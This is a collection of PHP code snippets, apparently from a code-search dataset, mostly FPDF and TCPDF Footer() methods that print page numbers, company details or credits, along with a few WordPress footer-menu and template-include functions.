"public function Footer() {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial', 'I', 8);\n // Text color in gray\n $this->SetTextColor(128);\n // Page number\n $this->Cell(0, 10, 'Page ' . $this->PageNo() . '/{nb}', 0, 0, 'C');\n }",
"function Footer()\n\t\t\t\t{\n\t\t\t\t $this->SetY(-15);\n\t\t\t\t // Select Arial italic 8\n\t\t\t\t $this->SetFont('Arial','I',8);\n\t\t\t\t // Print centered page number\n\t\t\t\t $this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\n\t\t\t\t}",
"function\ttableFoot() {\n\n\t\t/**\n\t\t *\n\t\t */\n\t\t$frm\t=\t$this->myDoc->currMasterPage->getFrameByFlowName( \"Auto\") ;\n\t\tif ( $this->myDoc->pageNr >= 1) {\n\t\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTFooterCT) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\t\tif ( $actRow->isEnabled()) {\n\t\t\t\t\t$this->punchTableRow( $actRow) ;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$frm->currVerPos\t+=\t1.5 ;\t\t// now add the height of everything we have output'\n\t\t}\n\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTFooterPE) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\t$this->punchTableRow( $actRow) ;\n\t\t}\n\t\t$frm->currVerPos\t+=\t1.5 ;\t\t// now add the height of everythign we have output'\n\t}",
"public function Footer() {\n $this->SetY(-15);\n // Set font\n $this->SetFont('helvetica', 'I', 8);\n // Page number\n $this->Cell(0, 10, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n }",
"function Footer(){\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }",
"function Footer()\n {\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }",
"function Footer() {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print centered page number\n // $this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n }",
"function Footer()\n {\n $this->SetY(-6);\n //Arial italic 8\n $this->SetFont('Arial','I',8);\n //Page number\n $this->Cell(0,10,'Página '.$this->PageNo(),0,0,'C');\n }",
"function Footer(){\r\n $this->SetY(-15); // Position at 1.5 cm from bottom\r\n $this->SetFont('Arial','I',8); // Arial italic 8\r\n $this->Cell(0,10,'Pagina '.$this->PageNo().'/{nb}',0,0,'C'); // Page number\r\n }",
"function Footer(){\n\t\t$this->Cell(190,0,'','T',1,'',true);\n\t\t\n\t\t//Go to 1.5 cm from bottom\n\t\t$this->SetY(-15);\n\t\t\t\t\n\t\t$this->SetFont('Arial','',8);\n\t\t\n\t\t//width = 0 means the cell is extended up to the right margin\n\t\t$this->Cell(0,10,'Page '.$this->PageNo().\" / {pages}\",0,0,'C');\n\t}",
"function Footer()\n\t{\n\t\t$this->SetY(-13);\n\t\t// Arial italic 8\n\t\t$this->SetFont('Arial','I',8);\n\t\t// Page number\n\t\t$this->Cell(0,10,'Designed by winnie(+254701008108)',0,0,'C');\n\t\t$this->SetY(-18);\n\t\t$this->Cell(0,10,'www.veranevents.com',0,0,'C');\n\t}",
"public function Footer() {\n\t\t$this->SetY(-15);\n\t\t// Set font\n\t\t$this->SetFont('helvetica', 'I', 8);\n\t\t// Page number\n\t\t$this->Cell(0, 10, 'Pagina '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n\t}",
"public function pfoot() {\n include(dirname(dirname(__FILE__)) . '/ui/footer.php');\n }",
"function Footer()\n\t\t\t\t{\n\t\t\t\t\t$this->SetY(-15);\n\t\t\t\t\t//Arial italic 8\n\t\t\t\t\t$this->SetFont('Helvetica','I',8);\n\t\t\t\t\t//Page number\n\t\t\t\t\t$this->Cell(0,10,'Page '.$this->PageNo().'/'.$comp_name,'T',0,'C');\n\t\t\t\t\t$this->SetDrawColor(8, 102, 198);\n\t\t\t\t\tparent::Footer();\n\t\t\t\t}",
"public function Footer()\n {\n // Go to 10 cm from bottom\n $this->SetY(-10);\n // Set font to Open Sans\n $this->SetFont('opensans', 'I', 6);\n // Print centered page number with datetime and timezone\n $this->AliasNbPages('{totalPages}');\n // The timezone of the user is retrieved from their Auth0 user's profile if available, otherwise the server time zone is used\n // related to this trello card https://trello.com/c/OjWZzsGA\n $timezone = ($_SESSION['auth0_user']['https://www.boxtribute.com/timezone']) ? $_SESSION['auth0_user']['https://www.boxtribute.com/timezone'] : date_default_timezone_get();\n\n $dt = new DateTime('now', new DateTimeZone($timezone));\n // This is quick fix for an issue with the alignment of footer text as the library incorrectly calculates the text length when template variables {totalPages} are used\n $totalPages = ($_GET['count'] && 0 != $_GET['count']) ? round(intval($_GET['count']) / 2) : 1;\n $this->Cell(0, 10, 'Page '.$this->PageNo().' of '.$totalPages.' Printed on '.$dt->format('d-m-Y H:i:s').\" {$timezone}\", 0, 0, 'C');\n }",
"abstract protected function footer();",
"abstract protected function footer();",
"function Footer()\t{\n\t $this->SetY(-15);\n\t // Arial italic 8\n\t $this->SetFont('Arial','I',8);\n\t // Page number\n\t $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n\t}",
"public function footer()\n {\n }",
"function Footer()\n\t{\n\t $this->SetY(-15);\n\t //Arial italic 8\n\t $this->SetFont('Arial','I',7);\n\t //Page number\n\t $this->Cell(0,10,utf8_decode('Página ').$this->PageNo().' de {nb}',0,0,'R');\n\t}",
"public function Footer()\n {\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial', 'I', 8);\n // Print centered page number\n $this->Cell(0, 4, utf8_decode('Atenea - Página ' . $this->PageNo()), 0, 0, 'C');\n }",
"public function Footer() {\r\n $this->SetTextColor(0,0,0);\r\n /* insertamos numero de pagina y total de paginas*/\r\n $this->Cell(0, 10, 'Página '.$this->getAliasNumPage().\r\n ' de un total de '.\r\n $this-> getAliasNbPages(),\r\n 0, false, 'C', 0, '', 0, false, 'T', 'M');\r\n $this->SetDrawColor(0,0,0);\r\n /* dibujamos una linea roja delimitadora del pie de página */\r\n $this->Line(15,282,195,282);\r\n\r\n }",
"function Footer() {\r\n\t\t\t$this->SetY( -15 );\r\n\t\t\t\r\n\t\t\t//set font to Arial, Bold, size 10\r\n\t\t\t$this->SetFont( 'Arial', 'B', 10 );\r\n\t\t\t\r\n\t\t\t//set font color to blue\r\n\t\t\t$this->SetTextColor( 52, 98, 185 );\r\n\t\t\t\r\n\t\t\t$this->Cell( 0, 10, 'www.iFadey.com', 0, 0, 'L' );\r\n\t\t\t\r\n\t\t\t//set font color to gray\r\n\t\t\t$this->SetTextColor( 150, 150, 150 );\r\n\t\t\t\r\n\t\t\t//write Page No\r\n\t\t\t$this->Cell( 0, 10, 'Page No: ' . $this->PageNo(), 0, 0, 'R' );\r\n\t\t}",
"protected function footer()\n {\n\n }",
"public function footer() {\n\t}",
"function Footer() {\n\t$this->SetY(-15);\n\t// Arial italic 8\n\t$this->SetFont('Arial','I',8);\n\t// Text color in gray\n\t$this->SetTextColor(128);\n\t// Page number\n\t$this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\n}",
"function Footer()\n {\n $this->SetY(-11);\n $this->Cell(45);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print centered page number\n $this->Cell(6,10,'',0,0,'C');\n $this->Cell(96,10,'Nombre y Firma','T',0,'C');\n $this->Cell(0,10,utf8_decode('Página ').$this->PageNo(),0,0,'R');\n\n }",
"function Footer()\n\t{\n\t\t$this->SetY(-15);\n\t\t// Arial italic 8\n\t\t$this->SetFont('Arial','I',9);\n\t\t// Page number\n\t\t$this->Cell(0,10,utf8_decode('Puede contactar con nosotros a través de el correo [email protected] o en la página tapibautista.com/contact'),0,0,'C');\n\t\t\n\t}",
"public function Footer(){\n // Posición: a 1,5 cm del final\n $this->SetY(-20);\n // Arial italic 8\n $this->AddFont('Futura-Medium');\n $this->SetFont('Futura-Medium','',10);\n $this->SetTextColor(50,50,50);\n // Número de págin\n $this->Cell(3);\n $this->Cell(0,3,utf8_decode('Generado por GetYourGames'),0,0,\"R\");\n $this->Ln(4);\n $this->Cell(3);\n $this->Cell(0,3,utf8_decode(date(\"d-m-Y g:i a\").' - Página ').$this->PageNo(),0,0,\"R\");\n\n }",
"function Footer()\n {\n //Position at 1.5 cm from bottom\n $this->SetY(-15);\n //Arial italic 8\n $this->SetFont('Arial','I',8);\n //Page number and page amount\n $this->Cell(0,10, text(\"bill_page\").\" \".$this->PageNo().'/{nb}',0,0,'C');\n }",
"function Footer()\n\t{\n\t\t$this->SetY(-15);\n\t\t// Select Arial italic B\n\t\t$this->setfont('Arial','I',14);\n\t\t$this->cell(250,8,\"Proyecto Final, copyright © 2019\",0,0,'c');\n\t\t// Print centered page numbre\n\t\t$this->Cell(0,10,'Pag.'.$this->PageNo(),0,0,'c');\n\t}",
"function Footer()\n\t{\n\t\t$this->SetY(-15);\n\t\t//buat garis horizontal\n\t\t$this->Line(30,$this->GetY(),185,$this->GetY());\n\t\t//Arial italic 9\n\t\t$this->SetFont('Arial','I',9);\n\t\t//nomor halaman\n\t\t$this->Cell(0,10,'Halaman '.$this->PageNo().' dari {nb}',0,0,'R');\n\t}",
"function display_footer()\r\n {\r\n if ($this->has_menu())\r\n {\r\n echo '<div class=\"clear\"> </div>';\r\n echo '</div>';\r\n }\r\n\r\n echo '<div class=\"clear\"> </div>';\r\n Display :: footer();\r\n }",
"function Footer()\n\t{\n\t\t//$this->Image('../imagenes/pie.jpg',15,250,170);\n\t\t$this->AliasNbPages();\n\t\t$this->SetY(-23);\n\t\t\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->MultiCell(180,5,utf8_decode(''),'0','C');\n\t\t\n\t $this->SetFont('Arial','I',8);\n\t $this->Cell(0,7,'Pag. '.$this->PageNo().' / {nb}',0,1,'C');\n\t}",
"public function Footer(){\n // Position at 15 mm from bottom\n $this->SetY(-15);\n // Set font\n\t\t$html = \"<table>\";\n\t\t$html .= \"<tr><td>unidad de adm y serv</td><td>responsable del proyecto o accion centralizada</td><td>unidad de finanzas</td><td>unidad de planificacion ppto</td><td>presidente</td><td>secreatria de adcripcion</td><td>Secretaria de Planificacion presupuesto y control de gestion</td><td>Gobernador del estado</td></tr>\";\n\t\t$html .= \"<tr><td>.</td><td>.</td><td>.</td><td>.</td><td>.</td><td>.</td><td>.</td><td>.</td></tr>\";\n\t\t$html .= \"</table>\";\n\t\t$this->writeHTMLCell($w = 0, $h = 0, $x = '', $y = '', $html, $border = 0, $ln = 1, $fill = 0, $reseth = true, $align = '', $autopadding = true);\n $this->SetFont('helvetica', 'I', 8);\n // Page number\n $this->Cell(0, 10, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n }",
"public function do_footer_items()\n {\n }",
"public function do_footer_items()\n {\n }",
"function sp_footer_navigation() {\n\t\tif ( function_exists ( 'wp_nav_menu' ) )\n\t\t\twp_nav_menu( array(\n\t\t\t\t'container' => false,\n\t\t\t\t'menu_class'\t => 'footer-nav',\n\t\t\t\t'after'\t\t \t => ' ',\n\t\t\t\t'theme_location' => 'footer_nav',\n\t\t\t\t'fallback_cb'\t => 'sp_footer_nav_fallback'\n\t\t\t\t));\t\n\t\telse\n\t\t\tsp_footer_nav_fallback();\t\n\t}",
"function Footer()\n {\n date_default_timezone_set('UTC+1');\n //Date\n $tDate = date('F j, Y, g:i:s a');\n // Position at 1.5 cm from bottom\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial', 'I', 12);\n // Text color in gray\n $this->SetTextColor(128);\n // Page number\n $this->Cell(0, 10,utf8_decode('Page ' . $this->PageNo().' \n CHUYC \n '.$tDate.'\n +237 693 553 454\n '.$this->Image(SITELOGO, 189, 280, 10, 10,'', URLROOT)), 0, 0, 'L');\n }",
"function Footer()\n\t{\n\t $this->SetY(-15);\n\t //Arial italic 8\n\t $this->SetFont('Arial','I',7);\n\t //Page number\n\t $this->Cell(0,10,utf8_decode('PlatSource © '.date('Y')),0,0,'L');\n\t $this->Cell(0,10,utf8_decode('Página ').$this->PageNo().' de {nb}',0,0,'R');\n\t}",
"function Footer()\n\t\t{\n\t\t\t$this->SetY(-15);\n\t\t\t// Select Arial italic 8\n\t\t}",
"private function printFooter()\n {\n // Nothing to do at the moment\n }",
"function Footer()\n{\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print current and total page numbers\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}",
"function Footer() {\n $oldColor = $this->TextColor;\n $this->SetTextColor(PDF_FOOTER_COLOR['red'],\n PDF_FOOTER_COLOR['green'],\n PDF_FOOTER_COLOR['blue']);\n $x = $this->GetX();\n $y = $this->GetY();\n $footerY = $this->GetPageHeight() -20;\n $this->SetXY(170, $footerY);\n $this->Cell(0, 10, ($this->footerPage.$this->PageNo().$this->footerOutOf.$this->AliasNbPages));\n $this->SetXY($x, $y);\n $this->TextColor = $oldColor;\n }",
"function Footer()\n{\n // Position at 1.5 cm from bottom\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}",
"function Footer() {\n\n$this->SetY(-15);\n\n//Seleciona a fonte Arial itálico 8\n\n$this->SetFont('Arial','I',8);\n\n//Imprime o número da página corrente e o total de páginas\n\n$this->Cell(0,10,'Página '.$this->PageNo().' ',0,0,'C');\n\n\t}",
"function sp_footer_navigation() {\n\t\tif ( function_exists ( 'wp_nav_menu' ) )\n\t\t\twp_nav_menu( array(\n\t\t\t\t'container' => false,\n\t\t\t\t'menu_class'\t => 'footer-nav',\n\t\t\t\t'after'\t\t \t => ' ',\n\t\t\t\t'theme_location' => 'footer_nav',\n\t\t\t\t'fallback_cb'\t => 'sp_footer_nav_fallback'\n\t\t\t\t));\t\n\t\telse\n\t\t\tsp_footer_nav_fallback();\t\n\t}",
"function Footer() {\n\n$this->SetY(-15);\n\n//Seleciona a fonte Arial itálico 8\n\n$this->SetFont('courier','I',8);\n\n//Imprime o número da página corrente e o total de páginas\n\n$this->Cell(0,10,'Página '.$this->PageNo().' ',0,0,'C');\n\n\t}",
"private function initializeFooterPages()\n {\n $this->ch->addSection($this->slug . '_footer_pages', 'Footer Pages', 140);\n $this->ch->addPagesControl('footer_privacy_policy', $this->slug . '_footer_pages', 'Privacy Policy Page');\n $this->ch->addPagesControl('footer_cookie_policy', $this->slug . '_footer_pages', 'Cookie Policy Page');\n }",
"function Footer()\r\n{\r\n $this->SetY(-15);\r\n // Select Arial italic 8\r\n $this->SetFont('Arial','I',8);\r\n // Print centered page number\r\n $this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\r\n}",
"function Footer()\r\n{\r\n $this->SetY(-15);\r\n // Select Arial italic 8\r\n $this->SetFont('Arial','I',8);\r\n // Print centered page number\r\n $this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\r\n}",
"function Footer()\n{\n $this->SetY(-15);\n //Arial italic 8\n $this->SetFont('Arial','I',8);\n //Page number\n $pagenum = $this->PageNo();\n $this->Cell(0,10,'Page '.$pagenum.'',0,0,'C');\n}",
"public function initPageFooter()\n\t{\n\t\tinclude_once('view/main_page_footer.php');\n\t}",
"public function get_foot()\n\t{\n\t\treturn $this->footer_item;\n\t}",
"public function Footer_ZZZ() {\n $this->SetY(-15);\n // Set the footer font \n $this->SetFont('helvetica', 'I', 8);\n // Page number\n $this->Cell(0, 10, 'Page '.$this->getAliasNumPage().'/'.$this->getAliasNbPages(), 0, false, 'C', 0, '', 0, false, 'T', 'M');\n }",
"function Footer()\n{\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}",
"function Footer()\n{\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}",
"function Footer()\n{\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print centered page number\n $this->Cell(0,10,'Page '.$this->PageNo(),0,0,'C');\n}",
"function Footer()\n{\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print centered page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}",
"function Footer()\n {\n $this->SetY(-15);\n // Police Arial italique 8\n $this->SetFont('Arial','I',6);\n // Num?ro de page\n $this->Cell(0,8,'Page '.$this->PageNo().'/{nb}',0,0,'C');$this->Ln(3);\n $this->Cell(0,8,\"Algerian Gulf Life Insurance Company, SPA au capital social de 1.000.000.000 de dinars algériens, 01 Rue Tripoli, Hussein Dey Alger, \",0,0,'C');\n $this->Ln(2);\n $this->Cell(0,8,\"RC : 16/00-1009727 B 15 NIF : 001516100972762-NIS :0015160900296000\",0,0,'C');\n $this->Ln(2);\n $this->Cell(0,8,\"Tel : +213 (0) 21 77 30 12/14/15 Fax : +213 (0) 21 77 29 56 Site Web : www.aglic.dz \",0,0,'C');\n }",
"function Footer()\n\t\t{\n\t\t}",
"function Footer()\n {\n $this->SetY(-20);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Text color in gray\n $this->SetTextColor(128);\n // Page number\n $this->Cell(0,10,'Post address: PO Box K595, Haymarket,NSW 1240, Australia',0,0,'C');\n $this->Ln(5);\n $this->Cell(0,10,'Office address: Suite 309-311 Sussex Centre. 401 Sussex St. Sydney, 2000',0,0,'C');\n $this->Ln(5);\n $this->Cell(0,10,'Tel: 00612 9281 6299 www.geic.com.au',0,0,'C');\n }",
"function Footer()\n {\n $this->SetY(-15);\n\n // Police Arial italique 8\n $this->SetFont('Arial','I',6);\n // Num?ro de page\n $this->Cell(0,8,'Page '.$this->PageNo().'/{nb}',0,0,'C');$this->Ln(3);\n $this->Cell(0,8,\"Algerian Gulf Life Insurance Company, SPA au capital social de 1.000.000.000 de dinars algériens, 01 Rue Tripoli, Hussein Dey Alger, \",0,0,'C');\n $this->Ln(2);\n $this->Cell(0,8,\"RC : 16/00-1009727 B 15 NIF : 001516100972762-NIS :0015160900296000\",0,0,'C');\n $this->Ln(2);\n $this->Cell(0,8,\"Tel : +213 (0) 21 77 30 12/14/15 Fax : +213 (0) 21 77 29 56 Site Web : www.aglic.dz \",0,0,'C');\n }",
"function Footer() {\r\n $this->SetY(-15);\r\n // Set font\r\n $this->SetFont('Helvetica', 'I', 12);\r\n // Page number\r\n $this->Cell(0, 10, 'PvMax Summary | Schletter Inc. | (888) 608 - 0234', 0, false, 'C', 0, '', 0, false, 'T', 'M');\r\n}",
"function Footer()\n {\n $this->SetY(-15);\n //Select Arial Italic 8\n $this->SetFont('Arial','I',8);\n $this->SetX(86,5);\n $this->Write(5, '[ powered by '.$this->web_str.']',$this->web_str);\n //Print centered page number\n $this->Cell(0,10,$this->page_str.' '.$this->PageNo(),0,0);\n }",
"function Footer()\n{\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print centered page number\n $this->Cell(0,10,'Page asdjlkasjdlfkjasdjlfkjkls'.$this->PageNo(),0,0,'C');\n}",
"function Footer()\n{\n $this->SetY(-15);\n // Select Arial italic 8\n $this->SetFont('Arial','I',8);\n // Print centered page number\n $this->Cell(0,10,'Page asdjlkasjdlfkjasdjlfkjkls'.$this->PageNo(),0,0,'C');\n}",
"public function defineFooter()\n {\n $this->footer = new Footer();\n }",
"protected function makeFooter()\n {\n }",
"public function print_footer() {\n // Do nothing.\n }",
"function jfk2013_footer_nav() {\r\n\techo get_jfk2013_footer_nav();\r\n}",
"public function Footer() {\r\n\t\t$this->SetY(-20);\r\n\t\tif ( ($this->PageNo() == 1 && $this->primera_pagina_con_pie) || $this->PageNo() != 1 ) {\r\n\t\t\t//$this->SetY(-15); //Position at 1.5 cm from bottom\r\n\t\t\t//$this->Formato( $this->familia, 'I', 8 );\r\n\t\t\t//$this->Celda( 0, 10, 'Página '.$this->PageNo().'/{nb}',0, 0, 'C');\r\n\t\t}\r\n\t\tswitch ($this->plantilla) {\r\n\t\t\tcase 1:\r\n\t\t\t/*\r\n\t\t\t$this->SetFillColor( 0, 0, 0 );\r\n\t\t\t$this->Celda( $this->ancho-10, 0.2, '', 0, 1, '', true );\r\n\t\t\t$this->Ln();\r\n\t\t\t$this->SetFillColor(255, 255, 255);\r\n\t\t\t$this->Celda( $this->ancho-10, 0.2, '', 0, 1, '', true );\r\n\t\t\t$this->Ln();\r\n\t\t\t$this->SetFillColor( 0, 0, 0 );\r\n\t\t\t$this->Celda( $this->ancho-10, 0.2, '', 0, 1, '', true );\r\n\t\t\t$this->Ln();\r\n\t\t\t$this->Formato( 'Helvetica', '', 9\t );\r\n\t\t\t$this->Celda( $this->ancho-10, 4, \"\\\"CONTRALORES SOMOS TODOS\\\"\", 0, 1, 'C');\r\n\t\t\t$this->SetY(-20);\r\n\t\t\t$this->SetFont('','',6);\r\n\t\t\t$this->Celda( $this->ancho-10, 6, \"C.M.S.= U.B.M. - 07(09-08-2010)\", 0, 1, 'R');\r\n\t\t\t*/\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 2:\r\n\t\t\t$this->SetY(-25);\r\n\t\t\t\t$this->Formato( 'Helvetica', '', 10 );\r\n\t\t\t\t$this->SetFillColor(255, 255, 255 );\r\n\t\t\t\t$this->Celda( 256, 6, utf8_decode($this->header['responsable']), 0, 1, 'R', true );\r\n\t\t\t\t$this->Celda( 256, 6, 'Nombre y Apellido del '.utf8_decode($this->header['cargo']), 0, 1, 'R', true );\r\n\t\t\t\t$this->Celda( 50, 6, 'Sello de la Unidad', 0, 0, 'C', true );\r\n\t\t\t\t$this->Celda( 206, 6, 'Firma', 0, 1, 'R', true );\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 3:\r\n\t\t\t$this->SetY(-25);\r\n\t\t\t\t$this->Formato( 'Helvetica', '', 10 );\r\n\t\t\t\t$this->SetFillColor(255, 255, 255 );\r\n\t\t\t\t$this->Celda( 256, 6, utf8_decode($this->header['responsable']), 0, 1, 'R', true );\r\n\t\t\t\t$this->Celda( 256, 6, 'Nombre y Apellido del '.utf8_decode($this->header['cargo']), 0, 1, 'R', true );\r\n\t\t\t\t$this->Celda( 50, 6, 'Sello de la Unidad', 0, 0, 'C', true );\r\n\t\t\t\t$this->Celda( 206, 6, 'Firma', 0, 1, 'R', true );\r\n\t\t\t\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 4:\r\n\t\t\t$this->SetY(-60);\r\n\t\t\t$this->SetFillColor( 0, 0, 0 );\r\n\t\t\t$this->Celda( $this->ancho-100, 0.2, '', 0, 1, '', true );\r\n\t\t\t$this->SetFillColor( 255, 255, 255 );\r\n\t\t\t$y = $this->GetY();\r\n\t\t\t$this->Celda( 120, 48, '', 1, 0, '', true );\r\n\t\t\t$x = $this->GetX();\r\n\t\t\t$this->Celda( 136, 48, '', 1, 1, '', true );\r\n\t\t\t$x2 = $this->GetX();\r\n\t\t\t\r\n\t\t\t$this->SetY($y+1);\r\n\t\t\t$this->SetX($x+1);\r\n\t\t\t$this->Celda( 66, 7, '12. Faltantes Determinados por:', 0, 0, '', true );\r\n\t\t\t$this->Celda( 65, 7, utf8_decode($this->header['cp_nombre']), 'B', 1, '', true );\r\n\t\t\t$this->SetX($x+1);\r\n\t\t\t$this->Celda( 66, 7, '13. Cargo que Desempeña:', 0, 0, '', true );\r\n\t\t\t$this->Celda( 65, 7, utf8_decode($this->header['cp_cargo']), 'B', 1, '', true );\r\n\t\t\t$this->SetX($x+1);\r\n\t\t\t$this->Celda( 66, 7, '14. Dependencia a la Cual está Adscrito:', 0, 0, '', true );\r\n\t\t\t$this->Celda( 65, 7, utf8_decode($this->header['cp_dp']), 'B', 1, '', true );\r\n\t\t\t$this->SetX($x+1);\r\n\t\t\t$this->Celda( 66, 7, '15. Firma', 0, 0, '', true );\r\n\t\t\t$this->Celda( 65, 7, '', 'B', 1, '', true );\r\n\t\t\t$this->SetX($x+1);\r\n\t\t\t$this->Celda( 66, 7, '16. Jefe de Unidad de Trabajo:', 0, 0, '', true );\r\n\t\t\t$this->Celda( 65, 7, utf8_decode($this->header['responsable']), 'B', 1, '', true );\r\n\t\t\t$this->SetX($x+1);\r\n\t\t\t$this->Celda( 66, 7, '17. Firma', 0, 0, '', true );\r\n\t\t\t$this->Celda( 65, 7, '', 'B', 1, '', true );\r\n\t\t\t\r\n\t\t\t$this->SetY($y+1);\r\n\t\t\t$this->SetX($x2+1);\r\n\t\t\t$this->Celda( 35, 6, '11. Observaciones:', 0, 1, '', true );\r\n\t\t\t\r\n\t\t\t$this->SetX($x2+3);\r\n\t\t\t$this->MultiCell( 114, 6, utf8_decode($this->header['observaciones']),'','');\r\n\t\t\t// \r\n\t\t\t$this->Ln();\r\n\t\t\t$this->SetY(-11);\r\n\t\t\t$this->SetFont('','',7);\r\n\t\t\t$this->Celda( $this->ancho-10, 6, \"C.M.S.= U.B.M. - 15(17-12-2007)\", 0, 1, 'R');\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tdefault:\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}",
"private function generateFoot(){\n echo '</div>';\n echo '</div>';\n }",
"function Footer()\n\t{\n\t\t$this->SetY(-15);\n\t\t//buat garis horizontal\n\t\t$this->Line(10,$this->GetY(),210,$this->GetY());\n\t\t//Arial italic 9\n\t\t$this->SetFont('Arial','I',9);\n $this->Cell(0,10,'copyright gubugkoding.com Semarang ' . date('Y'),0,0,'L');\n\t\t//nomor halaman\n\t\t$this->Cell(0,10,'Halaman '.$this->PageNo().' dari {nb}',0,0,'R');\n\t}",
"public function getFooter();",
"public function getFooter();",
"function bones_footer_links() {\n wp_nav_menu(\n \tarray(\n 'menu' => 'footer_links', /* menu name */\n 'theme_location' => 'footer_links', /* where in the theme it's assigned */\n 'container_class' => 'footer-links clearfix', /* container class */\n 'fallback_cb' => 'bones_footer_links_fallback' /* menu fallback */\n \t)\n\t);\n}",
"static public function NavBarBottom() {\n\t\t$show_back = (strlen(self::$prev_page) > 0);\n\t\t$show_next = (strlen(self::$next_page) > 0);\n\n\t\techo '<p class=\"center\">';\n\t\tif ($show_back) {\n\t\t\techo '<a href=\"', self::$prev_page, '\">';\n\t\t\techo '<img alt=\"', (self::isGerman() ? 'Zurück' : 'Back'), '\" title=\"', (self::isGerman() ? 'Zurück' : 'Back'), '\" class=\"arrow_left {PNGCSS}\" src=\"', self::getImageURL(), '/arrow_left.png\" width=\"30\" height=\"15\" />';\n\t\t\techo '</a>';\n\t\t}else {\n\t\t\techo '<img alt=\"dummy\" title=\"\" src=\"', self::getImageURL(), '/blank.gif\" width=\"30\" height=\"22\" />';\n\t\t}\n\t\techo '<a href=\"#top\">';\n\t\techo '<img alt=\"', (self::isGerman() ? 'nach oben' : 'top'), '\" title=\"', (self::isGerman() ? 'nach oben' : 'top'), '\" class=\"arrow_up {PNGCSS}\" src=\"', self::getImageURL(), '/arrow_up.png\" width=\"15\" height=\"22\" />';\n\t\techo '</a>';\n\t\tif ($show_next) {\n\t\t\techo '<a href=\"', self::$next_page, '\">';\n\t\t\techo '<img alt=\"', (self::isGerman() ? 'Weiter' : 'Next'), '\" title=\"', (self::isGerman() ? 'Weiter' : 'Next'), '\" class=\"arrow_right {PNGCSS}\" src=\"', self::getImageURL(), '/arrow_right.png\" width=\"30\" height=\"15\" />';\n\t\t\techo '</a>';\n\t\t}else {\n\t\t\techo '<img alt=\"dummy\" title=\"\" src=\"', self::getImageURL(), '/blank.gif\" width=\"30\" height=\"22\" />';\n\t\t}\n\t\techo '</p>';\n\t}",
"function renderFoot()\n {\n return '';\n }",
"function Footer()\r\n {\r\n $this->SetY(-15);\r\n //courier italic 8\r\n $this->SetFont('courier','I',8);\r\n //Page number\r\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\r\n $this->SetX(5);\r\n $this->SetFont('courier','I',6);\r\n\r\n $this->Cell(0,10,'Tanggal Cetak : '.date(\"d/m/Y\"),0,0,'L');\r\n $this->SetY($this->GetY()+3);\r\n $this->Cell(0,10,'Cetak Oleh : '.$this->printby,0,0,'L');\r\n }",
"function Footer()\n {\n \n $this->SetY(-15);\n \n // Arial italic 8\n $this->SetFont('Arial','B',12);\n // Page number\n \n $this->Cell(180,15,''.$this->PageNo(),0,0,'R');\n $this->Image('../fpdf/footer.png',20,280,170,5);\n \n }",
"public function control_panel__add_to_foot()\n\t{\n\t\tif (URL::getCurrent(false) !== '/publish') {\n\t\t\treturn \"\";\n\t\t}\n\t\t\n\t\treturn $this->js->link('section_links');\n\t}",
